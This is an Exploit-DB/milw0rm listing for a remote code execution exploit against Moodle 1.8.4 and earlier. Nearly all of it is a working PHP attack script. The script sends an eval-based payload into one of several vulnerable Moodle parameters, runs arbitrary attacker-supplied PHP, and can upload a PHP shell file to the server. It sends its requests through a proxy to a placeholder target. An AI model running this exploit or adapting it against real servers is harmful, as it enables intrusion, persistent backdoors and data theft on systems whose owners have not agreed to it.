Moodle <= 1.8.4 - Remote Code Execution Exploit

2008-09-03T00:00:00
ID EDB-ID:6356
Type exploitdb
Reporter zurlich.lpt
Modified 2008-09-03T00:00:00

Description

Moodle <= 1.8.4 Remote Code Execution Exploit. Webapps exploit for php platform

                                        
                                            &lt;?php
/**
 * Moodle &lt;= 1.8.4 remote code execution
 */
$url = 'http://target.ru/moodle';
$proxy = 'localhost:8118';

$code = $argv[1];
if(!$code) {
	echo 'Sample use:
		'.$argv[0].' "phpinfo()" &gt; phpinfo.html
		'.$argv[0].' "echo `set`"
		'.$argv[0].' /full/local/path/to/file/for/upload/php_shell.php
	';
	exit;
}
$upload = false;
if(file_exists($code) && is_file($code)) {
	$upload = $code;
	$code = 'move_uploaded_file($_FILES[file][tmp_name], basename($_FILES[file][name]))';
}
$code .= ';exit;';

$injection_points = array(
	'blocks/rss_client/block_rss_client_error.php' =&gt; array('error'),
	'course/scales.php?id=1' =&gt; array('name', 'description'),
	'help.php' =&gt; array('text'),
	'login/confirm.php' =&gt; array('data', 's'),
	'mod/chat/gui_basic/index.php?id=1' =&gt; array('message'),
	'mod/forum/post.php' =&gt; array('name'),
	'mod/glossary/approve.php?id=1' =&gt; array('hook'),
	'mod/wiki/admin.php' =&gt; array('page'),
);
$file = array_rand($injection_points);
$param = $injection_points[$file][array_rand($injection_points[$file])];
$value = '&lt;img src=http&{${eval($_POST[cmd])}};://target.ru&gt;';

$post_data = array($param=&gt;$value, 'cmd'=&gt;$code);
if($upload) {
	echo "Check at:\n\t\t".$url.'/'.dirname($file).'/'.basename($upload)."\n";
	$post_data["file"] = '@'.$upload;
}

$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url.'/'.$file);
curl_setopt($c, CURLOPT_PROXY, $proxy);
curl_setopt($c, CURLOPT_POST, true);
curl_setopt($c, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
curl_setopt($c, CURLOPT_HEADER, false);
echo curl_exec($c);
curl_close($c);
?&gt;

# milw0rm.com [2008-09-03]